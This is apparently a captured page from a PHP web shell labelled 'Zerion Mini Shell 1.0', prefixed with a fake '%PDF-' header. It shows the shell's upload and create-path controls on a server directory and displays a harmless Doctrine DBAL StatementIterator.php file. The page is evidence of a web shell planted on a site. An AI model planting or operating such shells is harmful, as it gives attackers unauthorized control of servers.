%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/kpk/api/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/
Upload File :
Create Path :
Current File : /var/www/html/kpk/api/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/StatementIterator.php

<?php

namespace Doctrine\DBAL\Driver;

class StatementIterator implements \IteratorAggregate
{
    /**
     * @var Statement
     */
    private $statement;

    /**
     * @param Statement $statement
     */
    public function __construct(Statement $statement)
    {
        $this->statement = $statement;
    }

    /**
     * {@inheritdoc}
     */
    public function getIterator()
    {
        while (false !== ($result = $this->statement->fetch())) {
            yield $result;
        }
    }
}

Zerion Mini Shell 1.0